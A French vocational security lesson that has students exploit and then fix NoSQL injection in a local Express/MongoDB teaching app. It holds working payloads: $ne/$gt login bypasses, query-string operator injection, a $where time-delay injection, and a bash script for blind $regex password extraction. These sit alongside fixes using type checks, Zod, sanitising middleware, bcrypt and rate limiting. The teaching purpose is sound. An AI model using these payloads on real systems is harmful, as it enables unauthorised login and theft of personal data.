Injection NoSQL9 livrables
Injection NoSQL (MongoDB)
« MongoDB n'a pas de SQL, donc pas d'injection » — fausse croyance, et dangereuse. Un simple { "$ne": null } glissé dans une requête contourne le login d'AppliFrais. Aujourd'hui tu exploites l'injection NoSQL sur ta propre app, puis tu la corriges avec validation de type et bon usage de Mongoose.
Par Josselyn C., prof de BTS SIO. Publié le , mis à jour le .
- Objectif
- comprendre, exploiter et corriger une injection NoSQL sur AppliFrais (MongoDB/Mongoose)
- On manipule
- AppliFrais en local, Express, Mongoose, curl/Postman, les opérateurs Mongo ($ne, $gt, $regex, $where)
- Pré-requis
- injection SQL (séance précédente), AppliFrais qui démarre (auth, find Mongoose)
Cadre légal : AppliFrais LOCAL uniquement. Injecter sur un système tiers est un délit pénal (art. 323-1 et s.).
Avant de commencer
Pourquoi cette séance
Tu as vu l'injection SQL : une donnée qui devient du code. L'injection NoSQL est la même idée transposée à MongoDB — et elle touche directement AppliFrais. Le piège : avec MongoDB, une requête est un objet JSON. Si l'API laisse l'utilisateur envoyer un objet là où elle attend une chaîne, l'utilisateur injecte des opérateurs Mongo ($ne, $gt, $regex, $where) qui changent le sens de la requête. Résultat : bypass de login, contournement de filtre, parfois exécution de code serveur. Tu vas l'exploiter sur ton AppliFrais, puis le blinder couche par couche.
Ce que tu vas apprendre
| Concept | Ce que tu sauras faire |
|---|---|
| Le mécanisme NoSQL | expliquer pourquoi un objet injecté détourne un find() |
| Login bypass | te connecter sans mot de passe via $ne / $gt |
| Opérateurs dangereux | reconnaître $ne, $gt, $regex, $where |
| Injection par l'URL | contourner un filtre via ?champ[$ne]=... |
| Extraction aveugle | deviner une valeur caractère par caractère avec $regex |
| Validation | forcer le type des entrées (string attendu = string reçu) + schéma Zod/Joi |
| Durcissement | express-mongo-sanitize, find-par-login + bcrypt.compare |
Cartographie du risque — chiffres à retenir pour l'E7
| Critère | Valeur pour ce support |
|---|---|
| Référentiel OWASP | A03:2021 — Injection (englobe SQLi, NoSQLi, OS injection, LDAP injection) |
| Score CVSS 3.1 typique | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 / 10 (Critique) — accès réseau, aucun prérequis, confidentialité + intégrité compromises |
| CVE de référence | CVE-2019-11429 — injection NoSQL via query string dans une app Node/Mongo, CVSS 9.8 ; illustre que le vecteur URL (chap. 5) est le vecteur le plus signalé |
| DCP exposées | login, rôle, montants de frais, déplacements — données personnelles des visiteurs GSB au sens de l'art. 4 RGPD |
| Obligation légale | Art. 32 RGPD : mesures techniques appropriées pour sécuriser tout traitement de DCP |
| Sanction maximale | Art. 83 §4 RGPD : 10 M€ ou 2 % du CA mondial pour violation des mesures de sécurité ; art. 83 §5 : 20 M€ ou 4 % du CA pour les manquements aux droits fondamentaux |
| Délai de notification | Art. 33 RGPD : violation de DCP → notification CNIL sous 72 h (obligation, pas recommandation — dépasser ce délai est lui-même sanctionnable) |
0. Pourquoi MongoDB est injectable
En SQL, une requête est un texte : SELECT ... WHERE login='marc' AND mdp='secret'. En MongoDB, une requête est un objet : findOne({ login: "marc", motdepasse: "secret" }). Le danger vient de là : si ces valeurs proviennent telles quelles du client, le client peut envoyer un objet au lieu d'une chaîne — et un objet, en Mongo, peut être un opérateur.
Chaîne attendue vs objet injecté
En haut, une chaine : la comparaison est honnete. En bas, un objet operateur : la requete change de sens et matche n'importe qui.
Le code vulnérable d'AppliFrais
// routes/auth.js -- VERSION VULNERABLE (labo)
// req.body est du JSON envoye par le client
const { login, motdepasse } = req.body;
const visiteur = await Visiteur.findOne({
login: login,
motdepasse: motdepasse // comparaison directe + mot de passe en clair : double faute
});
if (visiteur) { /* on connecte : on signe un JWT */ }
1. Préparer ton labo
On exploite sur ton AppliFrais. Il faut donc : l'API qui tourne, Mongo accessible, et un client pour envoyer des requêtes brutes (curl ou Postman). On utilise curl car il montre exactement ce qu'on envoie.
Étape 1 — démarrer l'API
cd appli-frais/api
npm run dev
[api] Server listening on http://localhost:3000
[api] MongoDB connected (appliFrais @ 27017)
Étape 2 — vérifier curl
curl --version
curl 8.4.0 (x86_64-apple-darwin23.0) libcurl/8.4.0 ...
Étape 3 — un login légitime, pour calibrer
curl -s -X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d '{"login":"marc","motdepasse":"mauvais"}'
{"error":"Identifiants invalides"}
2. Login bypass ($ne, $gt)
On envoie maintenant un objet à la place de la chaîne mot de passe. L'opérateur fait le reste.
Bypass avec $ne
curl -s -X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d '{"login":"marc","motdepasse":{"$ne":null}}'
// requete reellement executee cote serveur :
Visiteur.findOne({ login: 'marc', motdepasse: { '$ne': null } })
// => trouve marc, mot de passe NON verifie => connecte
// reponse HTTP :
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6...","visiteur":{"login":"marc","role":"visiteur"}}
Même résultat avec $gt
curl -s -X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d '{"login":"marc","motdepasse":{"$gt":""}}'
Visiteur.findOne({ login: 'marc', motdepasse: { '$gt': '' } })
// => connecte (token renvoye)
Et si tu ne connais aucun login ?
curl -s -X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d '{"login":{"$ne":null},"motdepasse":{"$ne":null}}'
Visiteur.findOne({ login: { '$ne': null }, motdepasse: { '$ne': null } })
// => renvoie le 1er visiteur de la collection
{"token":"eyJhbGci...","visiteur":{"login":"admin","role":"comptable"}}
Flag B1
Production (reproduire le bypass)
Sur ta route de login vulnérable, connecte-toi sans le bon mot de passe via {"$ne":null}.
Rends : la commande curl exacte + la réponse JSON contenant le token + une capture de l'app affichant ta session marc.
Flag A1
Checkpoint (mesurer l'exposition)
Compte combien de comptes sont accessibles par {login:{$ne:null}} sur ta base :
mongosh appliFrais --eval 'db.visiteurs.countDocuments({ login: { $ne: null } })'
Rends : FLAG-A1-<le nombre affiché> (ex. la valeur que renvoie ta base).
3. Les opérateurs qui font mal
Plusieurs opérateurs Mongo servent à l'injection. Connais-les pour les reconnaître et les bloquer.
| Opérateur | Injecté dans un champ, il… | Effet | Sévérité CVSS | Présent depuis Mongo |
|---|---|---|---|---|
{"$ne": null} | « différent de null » | matche n'importe quelle valeur → bypass auth | Critique (9.1) | 1.0 |
{"$gt": ""} | « supérieur à vide » | matche toute chaîne non vide → bypass auth | Critique (9.1) | 1.0 |
{"$regex": ".*"} | « correspond à ce motif » | extraction aveugle caractère par caractère | Élevé (7.5) | 1.0 |
{"$in": [null,""]} | « est dans cette liste » | matche les comptes sans mot de passe ou à vide | Élevé (7.5) | 1.0 |
{"$where": "..."} | évalue du JavaScript côté serveur | le plus grave : exécution de code arbitraire + DoS | Critique (9.8) | 1.0 — désactivable depuis 4.4 |
Chronologie d'une attaque réelle — de 0 à la compromission
Chronologie d'une attaque NoSQLi : de la découverte à la compromission en moins de 2 minutes, extraction aveugle d'un mot de passe 8 caractères en ~208 requêtes (26 lettres × 8 positions max, en supposant que chaque test réussit rapidement).
$where — l'exécution de code
// route VULNERABLE qui construit un filtre avec une entree :
const visiteurs = await Visiteur.find({
$where: "this.role == '" + req.query.role + "'" // concatenation : danger
});
GET /api/visiteurs?role=x' || sleep(5000) || 'x
// => le serveur evalue du JS attaquant pour chaque document
// => reponse apres 5 s : preuve d'execution de code (blind par le temps)
Flag D1
Investigation
Cherche dans la doc officielle MongoDB : $where est-il activé par défaut sur ta version ? Et trouve une alternative à express-mongo-sanitize (ex. l'option Mongoose sanitizeFilter).
Rends : ta version Mongo, la réponse oui/non sourcée (lien doc), le nom de l'alternative trouvée.
4. Le blind via $regex
Parfois la route ne renvoie pas le mot de passe, juste « connecté / pas connecté ». On extrait quand même la valeur, caractère par caractère, en posant des questions oui/non à la base. C'est l'injection aveugle (blind), version NoSQL.
Tester le premier caractère
// "le mot de passe de marc commence-t-il par 's' ?"
curl -s -X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d '{"login":"marc","motdepasse":{"$regex":"^s"}}'
// ^s -- match :
{"token":"eyJhbGci...","visiteur":{"login":"marc","role":"visiteur"}}
// ^a -- pas de match :
{"error":"Identifiants invalides"}
Avancer caractère par caractère
{"motdepasse":{"$regex":"^s"}} // OK -- 1er = s
{"motdepasse":{"$regex":"^se"}} // OK -- 2e = e
{"motdepasse":{"$regex":"^sec"}} // OK -- 3e = c
{"motdepasse":{"$regex":"^sed"}} // echec -- ce n'est pas d
Script d'extraction automatisée (bash — labo uniquement)
#!/usr/bin/env bash
# blind-nosqli.sh -- extrait un secret via $regex blind (sur ton labo UNIQUEMENT)
# Usage : bash blind-nosqli.sh marc
TARGET="${1:-marc}"
CHARSET="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@!-_"
RESULT=""
MAX_LEN=20
TOTAL_REQ=0
for i in $(seq 1 $MAX_LEN); do
FOUND=false
while IFS= read -r -n1 c; do
[ -z "$c" ] && continue
TOTAL_REQ=$((TOTAL_REQ + 1))
RESP=$(curl -s -X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d "{\"login\":\"$TARGET\",\"motdepasse\":{\"\$regex\":\"^${RESULT}${c}\"}}")
if echo "$RESP" | grep -q '"token"'; then
RESULT="${RESULT}${c}"
FOUND=true
echo "[+] position $i trouvee : '$c' → '${RESULT}'"
break
fi
done <<< "$CHARSET"
$FOUND || { echo "[=] longueur atteinte a $((i-1)) caracteres"; break; }
done
echo ""
echo "Valeur extraite : ${RESULT}"
echo "Requetes envoyees : ${TOTAL_REQ}"
$ bash blind-nosqli.sh marc
[+] position 1 trouvee : 's' → 's'
[+] position 2 trouvee : 'e' → 'se'
[+] position 3 trouvee : 'c' → 'sec'
[+] position 4 trouvee : 'r' → 'secr'
[+] position 5 trouvee : 'e' → 'secre'
[+] position 6 trouvee : 't' → 'secret'
[=] longueur atteinte a 6 caracteres
Valeur extraite : secret
Requetes envoyees : 47
Flag E1
Extension (extraction aveugle)
Sur ton labo, automatise l'extraction d'une valeur courte (ex. un code) via $regex dans un petit script (bash, Node ou Python).
Rends : ton script + la valeur reconstituée + le nombre de requêtes qu'il a fallu.
5. L'injection par l'URL
L'injection NoSQL ne passe pas que par le corps JSON : elle passe aussi par les paramètres d'URL (query string). C'est la porte qu'on oublie.
Comment Express transforme l'URL en objet
// URL : /api/fiches?statut[$ne]=CL
// parsee par Express (qs) en :
req.query = { statut: { '$ne': 'CL' } }
Filtre légitime
curl -s "http://localhost:3000/api/fiches?statut=VA" \
-H "Authorization: Bearer $TOKEN"
[ {"id":"f12","statut":"VA","montant":120}, {"id":"f19","statut":"VA","montant":80} ]
Détourner le filtre
curl -s "http://localhost:3000/api/fiches?statut%5B%24ne%5D=CL" \
-H "Authorization: Bearer $TOKEN"
FicheFrais.find({ statut: { '$ne': 'CL' } })
// => bien plus de fiches que prevu (tous statuts sauf CL)
[ {"id":"f01","statut":"CR","visiteur":"lea"}, {"id":"f07","statut":"MP","visiteur":"omar"}, ... ]
Flag B2
Production (contourner un filtre)
Trouve sur AppliFrais une route de filtrage (fiches par statut, par visiteur…) et détourne-la via l'URL (?champ[$ne]=...) pour obtenir plus de données que prévu.
Rends : l'URL injectée + la réponse JSON prouvant l'accès élargi.
6. Corriger : valider le type
La cause racine : on a accepté un objet là où on attendait une chaîne. La première parade est de vérifier le type de chaque entrée, avant toute requête.
Parade 1 — vérifier typeof
// SECURISE -- on refuse tout ce qui n'est pas une chaine
const { login, motdepasse } = req.body;
if (typeof login !== 'string' || typeof motdepasse !== 'string') {
return res.status(400).json({ error: 'entrees invalides' });
}
// a partir d'ici, login et motdepasse sont forcement des chaines
// on re-tente l'injection du Flag B1 :
curl ... -d '{"login":"marc","motdepasse":{"$ne":null}}'
// => HTTP 400
{"error":"entrees invalides"}
Parade 2 (mieux) — un schéma Zod
// SECURISE -- validation declarative
const { z } = require('zod');
const schema = z.object({
login: z.string().min(3).max(50),
motdepasse: z.string().min(8)
});
const data = schema.parse(req.body); // leve une erreur si la forme est mauvaise
Zod vs Joi — quand choisir quoi ?
| Critère | Zod | Joi |
|---|---|---|
| Installation | npm install zod (~130 kB) | npm install joi (~140 kB) |
| Syntaxe | z.string().min(3).max(50) — chaînable, TypeScript-natif | Joi.string().min(3).max(50) — similaire mais pas TS-natif |
| Inférence de type TS | Oui : z.infer<typeof schema> génère le type TS automatiquement | Non (types séparés à écrire) |
| Renvoie des erreurs lisibles | ZodError avec .errors[].message localisable | ValidationError avec .details[].message |
| Quand le choisir | Projet TypeScript (AppliFrais 2A en TS) → Zod est la référence | Projet JS pur ou si Joi est déjà en place |
| Validation de query string | schema.parse(req.query) — même syntaxe que pour le body | schema.validate(req.query) |
// SECURISE -- Zod avec gestion d'erreur propre
const { z } = require('zod');
const LoginSchema = z.object({
login: z.string().min(3).max(50).trim(),
motdepasse: z.string().min(8).max(128)
});
router.post('/login', (req, res, next) => {
const result = LoginSchema.safeParse(req.body); // ne leve PAS d'exception
if (!result.success) {
// result.error.errors contient le detail de chaque champ invalide
return res.status(400).json({
error: 'Corps invalide',
details: result.error.errors.map(e => ({ champ: e.path[0], msg: e.message }))
});
}
const { login, motdepasse } = result.data; // types garantis : string
// ... suite de l'auth
});
// si on envoie {"login":"marc","motdepasse":{"$ne":null}} :
HTTP 400
{
"error": "Corps invalide",
"details": [
{ "champ": "motdepasse", "msg": "Expected string, received object" }
]
}
Flag B3
Production (la correction)
Corrige ta route de login (vérification de type OU schéma Zod/Joi) ET ta route de filtrage. Re-tente les injections des flags B1 et B2.
Rends : le code corrigé + les deux réponses HTTP 400 prouvant que les injections sont rejetées.
7. Le piège du faux correctif
Toutes les « corrections » ne se valent pas. Voici un correctif qui semble régler le problème mais laisse la porte ouverte. À toi de trouver le défaut.
// Tentative de correction -- INCORRECTE (piege a debusquer)
const login = String(req.body.login); // on caste login en chaine
const motdepasse = req.body.motdepasse; // ... et motdepasse ?
const visiteur = await Visiteur.findOne({ login, motdepasse });
if (!visiteur) return res.status(401).json({ error: 'Identifiants invalides' });
// l'injection sur motdepasse marche TOUJOURS :
curl ... -d '{"login":"marc","motdepasse":{"$ne":null}}'
Visiteur.findOne({ login: 'marc', motdepasse: { '$ne': null } })
// => connecte. Le correctif n'a protege qu'UN seul champ.
Flag C1
Debug (corriger le faux correctif)
Identifie pourquoi ce correctif reste vulnérable, puis corrige-le pour que l'injection {"$ne":null} sur motdepasse soit aussi rejetée.
Rends : la ligne (ou les lignes) ajoutée(s) + la réponse HTTP 400 prouvant que l'injection ne passe plus.
8. Durcir MongoDB & Mongoose
La validation par route est la base. On ajoute des couches globales : défense en profondeur.
| Mesure | Comment | Ce que ça bloque |
|---|---|---|
| Sanitiser les entrées | express-mongo-sanitize (retire les clés $ et .) | les opérateurs injectés, globalement |
Désactiver $where | config serveur / ne jamais utiliser $where ni mapReduce | l'exécution de JS côté base |
| Typage Mongoose | schéma strict (login: String) | la coercition aide, mais ne suffit pas seule |
| Hacher les mots de passe | bcrypt + bcrypt.compare | la comparaison en clair (A02) + limite l'impact |
Étape 1 — poser le middleware sanitize
const mongoSanitize = require('express-mongo-sanitize');
app.use(express.json());
app.use(mongoSanitize()); // retire les cles $ et . de body, query et params
// l'attaque arrive, la cle $ne est retiree avant Mongo :
curl ... -d '{"login":"marc","motdepasse":{"$ne":null}}'
// req.body devient { login: 'marc', motdepasse: {} }
// => findOne ne matche rien => 401 Identifiants invalides
Étape 2 — find par login, puis bcrypt.compare
Choisir le bon algorithme de hachage
| Algo | Résistance brute-force | Coût recommandé | Temps ~ | Quand l'utiliser |
|---|---|---|---|---|
| MD5 / SHA-1 | Aucune (cassé, tables arc-en-ciel) | N/A | < 1 µs | Jamais pour les mots de passe |
| SHA-256 (non salé) | Faible (dictionnaire + rainbow) | N/A | 1-5 µs | Intégrité de fichiers, signatures — pas les MDP |
| bcrypt | Élevée (facteur de coût adaptatif) | cost 10–12 | ~80–300 ms | Mots de passe (référence Node.js) |
| argon2id | Très élevée (mémoire + CPU) | memory 64 MB, iter 3 | ~100–500 ms | Nouveau projet haute sécurité (gagnant PHC 2015) |
| PBKDF2 | Moyenne (recommandée ANSSI/NIST) | 600 000 itérations (NIST 2023) | ~100–200 ms | Conformité FIPS (environnements réglementés) |
// SECURISE -- le mot de passe ne transite JAMAIS dans le find
const bcrypt = require('bcrypt');
const SALT_ROUNDS = 12; // cost 12 : ~300 ms, bon pour AppliFrais
// --- Lors de la creation du compte (une seule fois) ---
const hash = await bcrypt.hash(motdepasse, SALT_ROUNDS);
// Stocker 'hash' dans la BDD, jamais 'motdepasse' en clair
// --- Lors du login ---
const { login, motdepasse } = req.body;
if (typeof login !== 'string' || typeof motdepasse !== 'string') {
return res.status(400).json({ error: 'entrees invalides' });
}
const visiteur = await Visiteur.findOne({ login }); // login SEUL
if (!visiteur) return res.status(401).json({ error: 'Identifiants invalides' });
const ok = await bcrypt.compare(motdepasse, visiteur.hash); // compare au hash
if (!ok) return res.status(401).json({ error: 'Identifiants invalides' });
// ... ici seulement : on signe le JWT
// hash bcrypt stocke en base (cost 12) :
$2b$12$K8Y1RKLmmJL5Yx0Jlm9yIeOcF1X/YJn3KY8F2VBhQ4NuWxsVp.mK
// injection sur motdepasse, version durcie :
curl ... -d '{"login":"marc","motdepasse":{"$ne":null}}'
// => 400 (typeof) ; et meme sans ce garde, bcrypt.compare(objet, hash) echoue => 401
Étape 3 — Rate limiting (ralentir le blind $regex)
npm install express-rate-limit
// app.js ou routes/auth.js
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // fenetre de 15 minutes
max: 20, // max 20 tentatives par IP sur cette fenetre
standardHeaders: true, // renvoie RateLimit-* dans les headers de reponse
legacyHeaders: false,
message: { error: 'Trop de tentatives, reessaie dans 15 minutes.' }
});
app.post('/api/login', loginLimiter, authController.login);
// a la 21e tentative :
HTTP 429 Too Many Requests
RateLimit-Limit: 20
RateLimit-Remaining: 0
RateLimit-Reset: 1751488200
{"error":"Trop de tentatives, reessaie dans 15 minutes."}
Flag B4
Production (durcissement complet)
Ajoute express-mongo-sanitize ET passe le login à « find par login → bcrypt.compare ».
Rends : le code + la preuve que ni $ne ni un mot de passe en clair ne fonctionnent (réponses 400/401).
9. SQLi vs NoSQLi
Même famille (A03 Injection), même cause profonde (la donnée devient de la structure), mais des charges et des parades différentes. Garde ce tableau pour l'E7.
| Aspect | Injection SQL | Injection NoSQL (Mongo) |
|---|---|---|
| Forme de la requête | texte : WHERE login='...' | objet : findOne({ login: ... }) |
| Charge typique | ' OR '1'='1 | {"$ne": null} |
| Canal d'entrée | champ texte concaténé | champ JSON et query string (?champ[$ne]=x) |
| Cause racine | concaténation de chaîne | entrée non typée passée à find |
| Score CVSS typique | 9.8 (CVSS:3.1 critique) | 9.1 (CVSS:3.1 critique) |
| Parade n°1 | requête paramétrée (AddWithValue / ?) | validation de type / schéma Zod |
| Parade en profondeur | ORM, moindre privilège BDD | express-mongo-sanitize, Mongoose strict, rate limiting |
| Exécution de code | xp_cmdshell (SQL Server, rare) | $where (JavaScript, désactivable Mongo 4.4+) |
| Extraction aveugle | SLEEP() + test caractère par caractère | $regex + test caractère par caractère |
| Outil de détection | sqlmap, OWASP ZAP | nosqlmap, OWASP ZAP (module NoSQL), Burp Suite |
| Coût de remédiation | Requêtes paramétrées : ~2 h sur une petite app | Validation Zod + sanitize + bcrypt : ~4-8 h sur AppliFrais |
| Coût d'un audit DAST | OWASP ZAP scan passif : gratuit / ~30 min | Idem ; + test manuel des query string avec crochets |
Chapitre 9 bis — Impact RGPD & nuances métier
Une injection NoSQL n'est pas qu'un problème technique : c'est une violation potentielle de données personnelles avec des conséquences juridiques et financières réelles. Cette section te donne les arguments pour l'E7 et pour un vrai rapport de sécurité.
Les données d'AppliFrais sous le prisme RGPD
| Donnée | Nature RGPD | Risque en cas d'injection | Obligation de protection |
|---|---|---|---|
| login, nom, prénom | Donnée personnelle (art. 4 §1) | Énumération complète des comptes | Chiffrement en transit (HTTPS) + contrôle accès |
| Adresse domicile, email | Donnée personnelle | Exfiltration via filtre $ne sur la collection | Accès limité au strict nécessaire (principe de minimisation, art. 5 §1 c) |
| Montants et fiches de frais | Donnée économique personnelle | Divulgation de niveaux de rémunération/activité | Pseudonymisation recommandée dans les exports (art. 25 RGPD) |
| Hash du mot de passe | Donnée d'authentification | Si bcrypt cost < 10 : crackable après fuite de BDD | Hachage adaptatif (bcrypt/argon2) — art. 32 §1 a |
| Rôle (visiteur / comptable) | Donnée de profil | Escalade de privilèges si bypass du login par $ne | Contrôle d'accès basé sur le rôle (RBAC) — vérification côté serveur, jamais côté client |
Ce que dit la loi — les articles à citer
| Article | Contenu | Sanction |
|---|---|---|
| Art. 32 RGPD | Obligation de mesures de sécurité appropriées | Base légale pour toute sanction de sécurité |
| Art. 33 RGPD | Notification de violation à la CNIL sous 72 h | Amende administrative si délai dépassé |
| Art. 34 RGPD | Notification aux personnes concernées si risque élevé | Amende + atteinte à la réputation |
| Art. 83 §4 RGPD | Violation des art. 25, 32, 33, 34 (sécurité) | Jusqu'à 10 M€ ou 2 % du CA mondial annuel |
| Art. 83 §5 RGPD | Atteinte aux droits fondamentaux (art. 5, 6, 9…) | Jusqu'à 20 M€ ou 4 % du CA mondial annuel |
| Art. 323-1 Code pénal | Accès frauduleux à un STAD | 2 ans / 60 000 € (3 ans / 100 000 € si données altérées) |
Nuances métier — ce que le débutant n'anticipe pas
| Situation | Piège courant | Bonne pratique |
|---|---|---|
| Logs de connexion | On log les tentatives réussies mais pas les échouées → on voit la compromission mais pas l'exploration | Logger toutes les tentatives de login (succès ET échecs) avec IP, timestamp, user-agent — sans loguer le mot de passe |
| Message d'erreur | Renvoyer « login invalide » vs « mot de passe invalide » révèle si un compte existe | Toujours le même message : "Identifiants invalides" — même timing (ajouter un délai artificiel si bcrypt.compare n'est pas atteint) |
| Durée de JWT | Token sans expiration → un token volé via injection est valide indéfiniment | Expiration courte : 15 min à 1 h pour les tokens d'accès, refresh token séparé de 7–30 jours en HttpOnly cookie |
| Index Mongo et $regex | Une requête $regex sans index scanne TOUTE la collection → peut être utilisée pour un DoS en plus du blind | Pas d'index B-tree sur les champs de mot de passe (ils ne doivent pas être requêtés) ; l'absence d'index rend $regex plus lent (ce qui est ici un avantage défensif accidentel) |
| express-mongo-sanitize en update | La sanitisation retire les $ de req.body — mais $set dans un update Mongoose doit rester → conflit | Utiliser l'option { allowDots: false, replaceWith: '_' } plutôt que la suppression brute, ou ne sanitiser que les routes concernées |
10. Mini-projet : rapport & carte de menace
La mission
Comme pour l'injection SQL, tu produis le rapport de vulnérabilité (format E7) de l'injection NoSQL trouvée sur AppliFrais. Cinq sections, factuelles, reproductibles :
- Description : injection NoSQL (A03), route concernée, opérateur utilisé ;
- Preuve : la requête injectée (curl/URL) + la réponse obtenue ;
- Impact : connexion sans mot de passe, accès à des données non autorisées (DIC : confidentialité) ;
- Correction : validation de type/schéma + sanitize + find-par-login/bcrypt ;
- Vérification : la même injection renvoie désormais 400/401.
Flag B6
Mini-projet (livrable)
Rédige le rapport complet (5 sections) de l'injection NoSQL d'AppliFrais et mets à jour ta carte de menace : la ligne A03 (NoSQL) passe de « exposé » à « corrigé », avec la date et la parade.
Rends : ton rapport + la ligne mise à jour de ta carte de menace.
Pour finir
L'essentiel
| Notion | À retenir |
|---|---|
| cause | un objet (opérateur Mongo) accepté là où on attend une chaîne |
| effet | bypass de login ($ne/$gt), contournement de filtre, blind ($regex), exec JS ($where) |
| canaux | corps JSON et query string (l'URL qu'on oublie) |
| parade n°1 | valider le type / le schéma de chaque entrée (body + query) |
| en profondeur | express-mongo-sanitize, find-par-login + bcrypt.compare, désactiver $where |
Vérifie tes acquis
- Pourquoi MongoDB est-il injectable alors qu'il n'a pas de SQL ?
- Que fait
{"$ne": null}injecté dans le champ mot de passe d'un login ? - Donne deux opérateurs qui permettent un bypass, et un qui permet l'exécution de JS.
- Comment l'injection passe-t-elle par l'URL avec Express ? Donne la syntaxe.
- En quoi le blind
$regexrend inutile le fait de cacher les messages d'erreur ? - Pourquoi
typeof === 'string'bloque l'attaque ? - Pourquoi caster un seul champ (faux correctif) ne suffit pas ?
- Pourquoi comparer le mot de passe avec
bcrypt.compareplutôt que dans lefind?
Corrigé du quiz — auto-vérification
Glossaire
| Mot | Définition |
|---|---|
| Injection NoSQL | injecter un opérateur Mongo via une entrée pour détourner une requête |
| Opérateur Mongo | clé spéciale commençant par $ ($ne, $gt, $regex…) qui ajoute une condition |
$ne / $gt | « différent de » / « supérieur à » — détournés pour bypasser une auth |
$regex | filtre par motif ; sert au blind (deviner lettre par lettre) |
$where | opérateur exécutant du JavaScript côté serveur (à proscrire) |
| Blind | extraction aveugle : on déduit une valeur via le comportement (oui/non, temps) |
| Query string | les paramètres d'URL après le ? ; parsés en objet par Express |
| Sanitisation | nettoyer une entrée (retirer les clés $, .) |
| Validation de schéma | vérifier qu'une entrée a la forme attendue (Zod, Joi) |
| bcrypt.compare | comparer un mot de passe à son empreinte hachée |